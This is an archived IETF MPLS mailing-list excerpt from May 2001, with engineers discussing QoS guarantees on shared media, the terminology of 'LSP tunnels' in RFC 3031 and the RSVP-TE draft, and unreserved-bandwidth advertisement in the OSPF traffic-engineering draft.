To: Fred Baker <fred@cisco.com>,
        "Naidu, Venkata"
	 <Venkata.Naidu@Marconi.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'"
	 <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 13:19:24 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0D4C6.BF341AD0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0D4C6.BF341AD0
Content-Type: text/plain;
	charset="ISO-8859-1"



|| -----Original Message-----
|| From: Fred Baker [mailto:fred@cisco.com]
|| Sent: Friday, May 04, 2001 12:48 PM
|| To: Naidu, Venkata
|| Cc: 'mpls@uu.net'; 'te-wg@ops.ietf.org'
|| Subject: Re: QoS in Shared Media
|| 
|| 
|| At 10:58 AM 5/4/2001 -0400, Naidu, Venkata wrote:
|| >I have a doubt regarding "QoS in Shared Media".
|| 
|| many have doubts in this area.
|| 
|| Fundamentally, if I can talk with a switch, I am in control 
|| of my end of 
|| the line and it is in control of its end, and we can make 
|| promises about 
|| what we will each do in our direction. On shared media, 
|| anything resembling 
|| QoS assertions or guarantees requires making promises on 
|| behalf of other 
|| systems one does not control. The nearest solutions I see to 
|| that have been 
|| in 802.5 and FDDI LANs, and I wouldn't describe those as having been 
|| "wildly successful."
|| 

Just a nit-pick.
I agree with your thoughts on inability to guarantee QoS without control in
multi-access shared media.
However, 802.5 and FDDI LANs are multiple access and can be run in modes
where you can provide guaranteed deadlines (and not shared media). I am
referring to Synchronous Bandwith allocation and Timed token protocol. You
cannot do this is shared Ethernet.
Token ring and FDDI are like Baby Boomers - they had their time ;) 

badri

------_=_NextPart_001_01C0D4C6.BF341AD0
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: QoS in Shared Media</TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=3D2>|| -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>|| From: Fred Baker [<A =
HREF=3D"mailto:fred@cisco.com">mailto:fred@cisco.com</A>]</FONT>
<BR><FONT SIZE=3D2>|| Sent: Friday, May 04, 2001 12:48 PM</FONT>
<BR><FONT SIZE=3D2>|| To: Naidu, Venkata</FONT>
<BR><FONT SIZE=3D2>|| Cc: 'mpls@uu.net'; 'te-wg@ops.ietf.org'</FONT>
<BR><FONT SIZE=3D2>|| Subject: Re: QoS in Shared Media</FONT>
<BR><FONT SIZE=3D2>|| </FONT>
<BR><FONT SIZE=3D2>|| </FONT>
<BR><FONT SIZE=3D2>|| At 10:58 AM 5/4/2001 -0400, Naidu, Venkata =
wrote:</FONT>
<BR><FONT SIZE=3D2>|| &gt;I have a doubt regarding &quot;QoS in Shared =
Media&quot;.</FONT>
<BR><FONT SIZE=3D2>|| </FONT>
<BR><FONT SIZE=3D2>|| many have doubts in this area.</FONT>
<BR><FONT SIZE=3D2>|| </FONT>
<BR><FONT SIZE=3D2>|| Fundamentally, if I can talk with a switch, I am =
in control </FONT>
<BR><FONT SIZE=3D2>|| of my end of </FONT>
<BR><FONT SIZE=3D2>|| the line and it is in control of its end, and we =
can make </FONT>
<BR><FONT SIZE=3D2>|| promises about </FONT>
<BR><FONT SIZE=3D2>|| what we will each do in our direction. On shared =
media, </FONT>
<BR><FONT SIZE=3D2>|| anything resembling </FONT>
<BR><FONT SIZE=3D2>|| QoS assertions or guarantees requires making =
promises on </FONT>
<BR><FONT SIZE=3D2>|| behalf of other </FONT>
<BR><FONT SIZE=3D2>|| systems one does not control. The nearest =
solutions I see to </FONT>
<BR><FONT SIZE=3D2>|| that have been </FONT>
<BR><FONT SIZE=3D2>|| in 802.5 and FDDI LANs, and I wouldn't describe =
those as having been </FONT>
<BR><FONT SIZE=3D2>|| &quot;wildly successful.&quot;</FONT>
<BR><FONT SIZE=3D2>|| </FONT>
</P>

<P><FONT SIZE=3D2>Just a nit-pick.</FONT>
<BR><FONT SIZE=3D2>I agree with your thoughts on inability to guarantee =
QoS without control in multi-access shared media.</FONT>
<BR><FONT SIZE=3D2>However, 802.5 and FDDI LANs are multiple access and =
can be run in modes where you can provide guaranteed deadlines (and not =
shared media). I am referring to Synchronous Bandwith allocation and =
Timed token protocol. You cannot do this is shared Ethernet.</FONT></P>

<P><FONT SIZE=3D2>Token ring and FDDI are like Baby Boomers - they had =
their time ;) </FONT>
</P>

<P><FONT SIZE=3D2>badri</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0D4C6.BF341AD0--



From owner-mpls@UU.NET  Fri May  4 19:16:23 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA22221
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 19:16:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknps11027;
	Fri, 4 May 2001 23:14:54 GMT
Received: by mail-control.mail.uu.net 
	id QQknps10720
	for mpls-outgoing; Fri, 4 May 2001 23:14:25 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknps10709
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 23:14:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknps24347
	for <mpls@UU.NET>; Fri, 4 May 2001 23:14:11 GMT
Received: from ganymede.or.intel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jffdns01.or.intel.com [134.134.248.3])
	id QQknps16091
	for <mpls@UU.NET>; Fri, 4 May 2001 23:14:10 GMT
Received: from SMTP (orsmsxvs02-1.jf.intel.com [192.168.65.201])
	by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.36 2001/04/18 16:16:02 root Exp $) with SMTP id XAA15299;
	Fri, 4 May 2001 23:14:08 GMT
Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Fri, 04 May 2001 23:14:08 0000 (GMT)
Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2653.19)
	id <KJ1ZB4Z1>; Fri, 4 May 2001 16:14:05 -0700
Message-ID: <4148FEAAD879D311AC5700A0C969E89006E18AD1@orsmsx35.jf.intel.com>
From: "Gross, Gerhard" <gerhard.gross@intel.com>
To: "'Vishal Sharma'" <vishal@JasmineNetworks.com>,
        "'David Charlap'"
	 <david.charlap@marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: terminology - change request
Date: Fri, 4 May 2001 16:13:57 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I support Vishal's request for (re)defining terms 
that more clearly describe "tunnel" related issues.
Changing names in the RFCs may be out of reach
but we can still do this in the drafts, before
they get to the RFC level.

Misconceptions for me start at
section 3.27 of RFC 3031, especially 3.27.3
where "LSP tunnel" is first defined. In this
case the definition refers to an LSP where
the packets traveling through it have a label
stack greater than 1.

If we accept that definition, since it is already
RFCed, consider (as you already have) some of
the text in draft-ietf-mpls-rsvp-lsp-tunnel-08.txt.
Even in the first 4 pages of the draft
there seem to be contradictions:

(1) Sec 1, para 1: 
   "This document is a specification of
   extensions to RSVP for establishing
   label switched paths (LSPs) in
   Multi-protocol Label Switching (MPLS)
   networks."

This seems to me to be a simple, accurate
and necessary statement.

(2) Sec 1, para 6:
   "The purpose of this document is to
   describe the use of RSVP to establish
   LSP tunnels."

This is confusing in light of (1).

Implication A) The only way to make statements
   (1) and (2) true is to equate "LSP" and
   "LSP tunnel".

(3) Sec 1.2":
   a) "LSP: A Label Switched Path"

   b) "LSP Tunnel: An LSP which is used to
      tunnel below normal IP routing and/or
      filtering mechanisms."

Item (3) contradicts implication A) by implying
there is a difference between "LSP" and "LSP Tunnel".

I think the use of the term "LSP tunnel" in the
first few pages of the draft should be changed
to make it inline with how RFC 3031 defines
"LSP tunnel".

I also agree with Vishal's clear reasoning and
idea that

> the "collection of LSPs sharing
> a common SESSION object" needs a different term.

A unique name should be chosen that more
closely describes what it is (e.g. LSP Session Group).

The title of the draft should also be changed
to be more accurate, such as:

  " RSVP-TE: Extensions to RSVP for Establishing LSPs "

This covers LSPs and "LSP tunnels" as they are
defined in RFC 3031 to any label stack depth.

Gery

        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        X                                         X
        X    Gerhard W. Gross, Ph.D.              X
        X    Intel                                X
        X    2111 NE 25th Ave                     X
        X    Hillsboro, OR 97124-5961, USA        X
        X    Internet Infrastructure Arch. Group  X
        X      - Internet and Communication Lab   X
        X    phone:    (503) 264-6389             X
        X    fax:      (503) 264-3483             X
        X    email:    gerhard.gross@intel.com    X
        X                                         X
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


> -----Original Message-----
> From: Vishal Sharma [mailto:vishal@JasmineNetworks.com]
> Sent: Thursday, May 03, 2001 4:33 PM
> To: 'David Charlap'; 'mpls@uu.net'
> Cc: 'gerhard.gross@intel.com'
> Subject: RE: terminology
> 
> 
> David,
> 
> I agree with your characterization below. Even the paragraph quoted by
> Gerhard from RFC 3031 makes sense in the context in which 
> you've explained 
> it. 
> 
> Namely, if we define a "tunnel" as being any means of making a packet
> arrive at a non-directly-attached router, then an LSP may be viewed
> as one realization of a tunnel. (Even in that case, however, why don't
> we just settle on the term "tunnel". I guess one could argue that the
> phrase "LSP tunnel" is a bit more descriptive, in that it 
> indicates how
> the tunnel in question is being realized; through an LSP.)
> Although, I am not sure that any of the documents actually 
> states things
> the way you've defined them (which would make things much clearer for
> us all).
> 
> I still have a problem (and have had for quite some time), however, 
> with the RSVP-TE draft, since it uses the term "tunnel" in 
> contradictory
> and confusing ways.
> 
> The following is an excerpt taken directly from Section 1.0 
> of the RSVP-TE
> draft:
> 
>    "Since the traffic that flows along a label-switched path 
> is defined
>    by the label applied at the ingress node of the LSP, these 
> paths can
>    be treated as tunnels, tunneling below normal IP routing and
>    filtering mechanisms.  When an LSP is used in this way we 
> refer to it
>    as an LSP tunnel.
> 
>    LSP tunnels allow the implementation of a variety of 
> policies related
>    to network performance optimization.  For example, LSP 
> tunnels can be
>    automatically or manually routed away from network failures,
>    congestion, and bottlenecks. Furthermore, multiple parallel LSP
>    tunnels can be established between two nodes, and traffic 
> between the
>    two nodes can be mapped onto the LSP tunnels according to local
>    policy. Although traffic engineering (that is, performance
>    optimization of operational networks) is expected to be an 
> important
>    application of this specification, the extended RSVP 
> protocol can be
>    used in a much wider context.
> 
>    The purpose of this document is to describe the use of RSVP to
>    establish LSP tunnels.  The intent is to fully describe all the
>    objects, packet formats, and procedures required to realize
>    interoperable implementations.  A few new objects are also defined
>    that enhance management and diagnostics of LSP tunnels."
> 
> As one reads through this, one might conclude that this part actually
> uses the term "LSP tunnel" in the same way that RFC 3031 uses it, and 
> in the way that you've defined it. 
> 
> However, as you've observed yourself, later on in the same draft the
> term "LSP tunnel" is applied to something quite different; a 
> collection
> of LSPs that share a common destination, or, more precisely, a common
> SESSION object. This latter use is very specific and quite different
> from what one is lead to believe in the Introduction, and indeed in 
> much of the draft.
> 
> If we agree that the commonly accepted definition of "tunnel" is
> what you've defined (and which I've paraphrased above), and, if
> we agree that the term "LSP tunnel" is, in fact, merely another
> term for an LSP, with the additional connotation that the LSP can
> be used to realize a "tunnel," (which is a bit of a stretch, since
> every LSP is after all an "LSP tunnel"),
> 
> then clearly, the "collection of LSPs sharing
> a common SESSION object" needs a different term.
> I don't know what yet, but a different term.
> 
> -Vishal 
> 
> 
> > -----Original Message-----
> > From: David Charlap [mailto:david.charlap@marconi.com]
> > Sent: Thursday, May 03, 2001 12:52 PM
> > To: 'mpls@uu.net'
> > Subject: Re: terminology
> > 
> > 
> > "Gross, Gerhard" wrote:
> > > 
> > > The definitions "LSP tunnel" in the docs seem to be somewhat
> > > misleading. For example, section 3.27.3 of RFC 3031 states:
> > > 
> > >     "It is possible to implement a tunnel as a LSP, and use label
> > >     switching rather than network layer encapsulation to cause the
> > >     packet to travel through the tunnel. ...
> > >     This is called a "LSP Tunnel."
> > > 
> > > This is standard MPLS as far as I tell.
> > > Why rename it?
> > 
> > The definition of "tunnel" seems to be different in different 
> > documents.
> > 
> > In RSVP-TE, a tunnel is a collection of one or more LSPs 
> that are all
> > signaled with the same SESSION object.  (Session being 
> defined as the
> > triplet egress-address, tunnel-ID, and extended-tunnel-ID.)  
> > If extended
> > tunnel ID is zero, these LSPs may originate from different ingress
> > routers.  The distinction is important because all LSPs in a single
> > tunnel will share resources where possible, when an SE-style 
> > reservation
> > is used.
> > 
> > Colloquially, this is the definition I usually use.  I usually say
> > "tunnel" when I mean a collection of LSPs that share a common
> > destination.  If I mean a single LSP, I just say "LSP".
> > 
> > But this is not RFC 3031's definition.  RFC 3031 defines a "tunneled
> > packet" as any packet that is forwarded to a not-directly-attached
> > router.  A tunnel is defined as any means for making this work.
> > 
> > It then goes on to define three kinds of tunnels, the first 
> two don't
> > necessarily involve MPLS.
> > 
> > The first is a hop-by-hop routed tunnel.  The data is 
> > encapsulated in a
> > network-layer header that gets it to the next-hop router.  
> > One possible
> > non-MPLS example of this might be an IP-in-IP tunnel.
> > 
> > The second is an explicitly-routed tunnel.  The data is 
> > encapsulated in
> > a network-layer header that is explicitly routed to the next-hop
> > router.  One possible non-MPLS example of this might be an ATM PVC.
> > 
> > The third is the LSP tunnel.  The data is labeled and 
> forwarded using
> > MPLS.
> > 
> > If my understanding is incorrect, hopefully one of the RFC 
> > authors will
> > be able to correct me.
> > 
> > -- David
> > 
> 



From owner-mpls@UU.NET  Fri May  4 21:12:02 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA23209
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 21:12:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknqa27028;
	Sat, 5 May 2001 01:10:45 GMT
Received: by mail-control.mail.uu.net 
	id QQknqa01905
	for mpls-outgoing; Sat, 5 May 2001 01:10:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknqa01854
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 01:09:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknqa24211
	for <mpls@UU.NET>; Sat, 5 May 2001 01:09:33 GMT
Received: from antipater.hosting.pacbell.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: antipater.hosting.pacbell.net [216.100.99.13])
	id QQknqa22957
	for <mpls@UU.NET>; Sat, 5 May 2001 01:09:32 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by antipater.hosting.pacbell.net
	id VAA00662; Fri, 4 May 2001 21:08:52 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "Juha Heinanen" <jh@lohi.eng.telia.fi>,
        "HANSEN CHAN" <hansen.chan@alcatel.com>
Cc: "Fred Baker" <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 18:07:23 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILEENDCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <15090.64600.180853.33136@lohi.eng.telia.fi>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Well, RPR gives you bandwidth endurance at the link level, a shared
media in this case. On higher level, you may conduct your QoS as
appropriate, Diffserv, Intserv, or else. One does not preclude the other,
IMO.

- jay

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Juha
Heinanen
Sent: Friday, May 04, 2001 12:01 PM
To: HANSEN CHAN
Cc: Fred Baker; Naidu, Venkata; 'mpls@uu.net'; 'te-wg@ops.ietf.org'
Subject: Re: QoS in Shared Media


HANSEN CHAN writes:

 > How about the work in IEEE 802.17 RPR? I believe it will be a
shared-media
 > technology. Does that mean they will have a hard time to achieve QoS
 > guarantees?

last time that i checked, the rpr proposal (based on cisco dpt) had two
classes of service (strict priority and best effort). that is clearly
not adequate for diffserv.  node based fairness applied to the best
effort class.  in diffserv, node based fairness makes sense only for the
highest dp packets in each traffic class.

-- juha




From owner-mpls@UU.NET  Fri May  4 21:19:28 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA23332
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 21:19:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknqb06092;
	Sat, 5 May 2001 01:17:50 GMT
Received: by mail-control.mail.uu.net 
	id QQknqb03314
	for mpls-outgoing; Sat, 5 May 2001 01:17:18 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknqb03306
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 01:17:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknqb29511
	for <mpls@UU.NET>; Sat, 5 May 2001 01:16:32 GMT
Received: from lysimachus.hosting.pacbell.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lysimachus.hosting.pacbell.net [216.100.98.17])
	id QQknqb05068
	for <mpls@UU.NET>; Sat, 5 May 2001 01:16:32 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by lysimachus.hosting.pacbell.net
	id VAA01667; Fri, 4 May 2001 21:16:14 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "Jay Wang" <jwang@opixnetworks.com>,
        "Juha Heinanen" <jh@lohi.eng.telia.fi>,
        "HANSEN CHAN" <hansen.chan@alcatel.com>
Cc: "Fred Baker" <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 18:14:46 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILKENDCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <NEBBKNOANMBIAAGAOBILEENDCBAA.jwang@opixnetworks.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

>Well, RPR gives you bandwidth endurance at the link level, a shared

bandwidth *assurance* that is ...., the spelling checker thing ..

- jay

>media in this case. On higher level, you may conduct your QoS as
>appropriate, Diffserv, Intserv, or else. One does not preclude the other,
>IMO.
>
>- jay

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Juha
Heinanen
Sent: Friday, May 04, 2001 12:01 PM
To: HANSEN CHAN
Cc: Fred Baker; Naidu, Venkata; 'mpls@uu.net'; 'te-wg@ops.ietf.org'
Subject: Re: QoS in Shared Media


HANSEN CHAN writes:

 > How about the work in IEEE 802.17 RPR? I believe it will be a
shared-media
 > technology. Does that mean they will have a hard time to achieve QoS
 > guarantees?

last time that i checked, the rpr proposal (based on cisco dpt) had two
classes of service (strict priority and best effort). that is clearly
not adequate for diffserv.  node based fairness applied to the best
effort class.  in diffserv, node based fairness makes sense only for the
highest dp packets in each traffic class.

-- juha




From owner-mpls@UU.NET  Fri May  4 22:31:04 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA25160
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 22:31:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknqg18187;
	Sat, 5 May 2001 02:30:03 GMT
Received: by mail-control.mail.uu.net 
	id QQknqf29563
	for mpls-outgoing; Sat, 5 May 2001 02:29:29 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknqf29546
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 02:29:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknqf02624
	for <mpls@uu.net>; Sat, 5 May 2001 02:27:53 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknqf22533
	for <mpls@uu.net>; Sat, 5 May 2001 02:27:53 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id WAA22868 for mpls@uu.net; Fri, 4 May 2001 22:27:52 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknqf29436
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 02:27:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknqf16815
	for <mpls@uu.net>; Sat, 5 May 2001 02:25:33 GMT
Received: from boyle.eng.level3.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-34-243.nc.rr.com [66.26.34.243])
	id QQknqf18655
	for <mpls@uu.net>; Sat, 5 May 2001 02:25:33 GMT
Received: from boyle.eng.level3.com (boyle.eng.level3.com [127.0.0.1])
	by boyle.eng.level3.com (8.9.3/8.8.7) with ESMTP id UAA03624;
	Fri, 4 May 2001 20:58:33 -0600
Date: Fri, 4 May 2001 20:58:33 -0600 (MDT)
From: Jim Boyle <jboyle@Level3.net>
X-Sender: jboyle@boyle.eng.level3.com
To: Martin-Guy Richard <mrichard@hyperchip.com>
cc: "'jwysocki83@hotmail.com'" <jwysocki83@hotmail.com>, mpls@UU.NET
Subject: RE: draft-katz-yeung-ospf-traffic-04
In-Reply-To: <A2BA7C0A67B1D411ACB500B0D078A84702827DF9@hermes.hyperchip.com>
Message-ID: <Pine.LNX.4.21.0105042047590.1210-100000@boyle.eng.level3.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Thu, 26 Apr 2001, Martin-Guy Richard wrote:

> John, 
> 
> The best way to see it is to use an example: 
> 
> Those are the sub-TLVs for the Link TLV. 
> 
> 1 - Link type (1 octet) 
> 2 - Link ID (4 octets) 
> 3 - Local interface IP address (4 octets) 
> 4 - Remote interface IP address (4 octets) 
> 5 - Traffic engineering metric (4 octets) 
> 6 - Maximum bandwidth (4 octets) 
> 7 - Maximum reservable bandwidth (4 octets) 
> 8 - Unreserved bandwidth (32 octets) 
> 9 - Resource class/color (4 octets) 
> 
> Let say on a certain interface on a certain router we have for the Max
> Rsv BW and Unreserved bandwidth sub-TLVs the following values:
> 
> Maximum reservable bandwidth : 1250000 
> Priority 0 : 1250000     Priority 1 : 1225000   
> Priority 2 : 1225000     Priority 3 : 1225000   
> Priority 4 : 1225000     Priority 5 : 1209750   
> Priority 6 : 1209750     Priority 7 : 1209750   
> 
> You can see that I've set the Max Resv BW to 10Mbps
> (10Mbps/8bytes=1250000 bytes per second) 
> 
> One thing you have to know before I continue: 
> 
> On  that particular interface on that same router, I have two tunnel
> having two different hold priority 
> 
>     Tunnel 1 has a hold priority of 5, with Resv BW of 122 kbps 
>     Tunnel 2 has a hold priority of 1, with Resv BW of 200 kbps. 
> 
> Let's continue. 
> 
> To find the Unreserved Bandwidth at each priority we need to apply the
> following formula: 
> 
>  (Unreserved BW for current hold priority)=(Unreserved BW from previous
> hold priority) - (Resv BW for current hold priority)
> 

where in the draft does it say this? this is one common
implementation, but all the draft says is you advertise the bandwidth
available at the given priorities, it doesn't impose a must (or even
should) on doing preemption, or even get into the details on how one
strictly must implement preemption. In your above case, the following
would also be a valid advertisement.

 Maximum reservable bandwidth : 1250000 
 Priority 0 : 1209750     Priority 1 : 1209750   
 Priority 2 : 1209750     Priority 3 : 1209750   
 Priority 4 : 1209750     Priority 5 : 1209750   
 Priority 6 : 1209750     Priority 7 : 1209750   

or for that matter....

 Maximum reservable bandwidth : 1250000 
 Priority 0 :  100000     Priority 1 :  100000
 Priority 2 : 1209750     Priority 3 :  100000
 Priority 4 : 1209750     Priority 5 : 1209750   
 Priority 6 : 1209750     Priority 7 : 1209750   

(say for instance, I wanted to limit the reservations at those
"priorities", to match up with queing for instance).  This could be a very
scalable (it's all releative :) implementation for achieving certain QoS
objectives in an network.

RSVP (or CR-LDP) should then just check the bandwidth available at that
priority, and in fact those drafts (at least the rsvp one) don't require
some sort of exhaustive search when doing path lookups, or even make
preemption a requirement.

 cheers,

Jim

> At priority 0, I still have the maximum reservable bandwidth. It is
> equal to Max Resv BW. 
> At priority 1, I have a different number. When we apply the formula, we
> get 1225000 bytes per second left for next priority.
> 
> At priority 2, nothing reserved, so by applying the formula, we still
> have 1225000 bytes per second left for next priority.
> 
> At priority 3, same thing. 
> At priority 4, same thing. 
> At priority 5, we get 1209750 bytes per second since I reserved 122 kbps
> for that hold priority. 
> At priority 6, nothing reserved, so by applying the formula, we still
> have 1209750 bytes per second left for next priority.
> 
> At priority 7, same thing. 
> 
> I hope that my example is "draft compliant"! 
> 
> -----Original Message----- 
> From: owner-mpls@UU.NET [ mailto:owner-mpls@UU.NET
> <mailto:owner-mpls@UU.NET> ]On Behalf Of John 
> Wysocki 
> Sent: April 25, 2001 2:45 PM 
> To: mpls@UU.NET 
> Subject: draft-katz-yeung-ospf-traffic-04 
> 
> 
> In this draft 2.4.2 Link TLV has sub-TLV 8 - Unreserved bandwidth (32 
> octets). 
> 
> 2.5.8 says Each value will be less than or equal to the maximum
> reservable 
> bandwidth.  It specifies not yet reserved BW at each of the eight
> priority 
> levels. 
> 
> Does this mean each 4 octets (32/8 = 4) will represent unreserved
> bandwith 
> for a priority? 
> What does it represent?  2^4 = 16 values, but how do you use it? 
> 
> Does anyone know? 
> 
> Thanks. 
> 
> John 
> _________________________________________________________________ 
> Get your FREE download of MSN Explorer at http://explorer.msn.com
> <http://explorer.msn.com>  
> 
> 



From owner-mpls@UU.NET  Sat May  5 00:15:57 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA26893
	for <mpls-archive@lists.ietf.org>; Sat, 5 May 2001 00:15:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknqm03481;
	Sat, 5 May 2001 04:14:52 GMT
Received: by mail-control.mail.uu.net 
	id QQknqm18755
	for mpls-outgoing; Sat, 5 May 2001 04:14:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknqm18747
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 04:14:12 GMT
